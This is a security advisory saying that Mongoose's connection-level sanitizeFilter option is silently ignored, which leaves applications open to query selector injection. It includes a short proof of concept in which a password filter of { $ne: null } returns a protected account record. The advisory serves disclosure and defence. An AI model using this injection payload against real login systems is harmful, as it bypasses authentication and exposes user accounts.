Vulnerability GHSA-gg4r-jv3p-qx3c
Summary
Mongoose: Connection-level sanitizeFilter not applied
Details
Summary
sanitizeFilter exists to stop query selector injection: it wraps operator objects such as { $ne: null } in filter values in $eq, so they are matched literally. Set on a connection with mongoose.connect() or createConnection(uri, { sanitizeFilter: true }), the connection reports it as enabled but queries never apply it. An application that relies on the connection-level option and passes an attacker-controlled object into a filter therefore remains open to selector injection, and a password value of { $ne: null } returns the account record without the password.
Details
NativeConnection#createClient() at lib/drivers/node-mongodb-native/connection.js:270-272 moves options.sanitizeFilter into Connection.config and deletes the original option. Query#_castConditions() at lib/query.js:2413-2423 checks Connection.options, the global options, and the per-query options, but never Connection.config. The defense therefore does not run even though Connection#get('sanitizeFilter') returns true. This storage was introduced in Mongoose 6.0.0 and the same mismatch is present in 9.11.2.
Proof of concept
import mongoose from 'mongoose'
const conn = await mongoose.createConnection('<MONGODB_URI>', { sanitizeFilter: true }).asPromise()
const User = conn.model('User', new mongoose.Schema({
username: String,
password: String,
marker: String
}))
await User.create({
username: 'victim',
password: 'correct-password',
marker: 'PROTECTED_RECORD'
})
const filter = { username: 'victim', password: { $ne: null } }
console.log(conn.get('sanitizeFilter'))
console.log((await User.findOne(filter).lean()).marker)
A control query with a literal wrong password returned no document in the same run, confirming the filter is otherwise enforced.
Impact
Connection-level sanitizeFilter option is not respected. Any user that relies on connection-level config and sanitizeFilter to defend against query selector injection is affected. Users that set sanitizeFilter globally using mongoose.set('sanitizeFilter') or on specific queries using Model.find().sanitizeFilter() are not affected.
Related Vulnerabilities
Other vulnerabilities affecting the same packages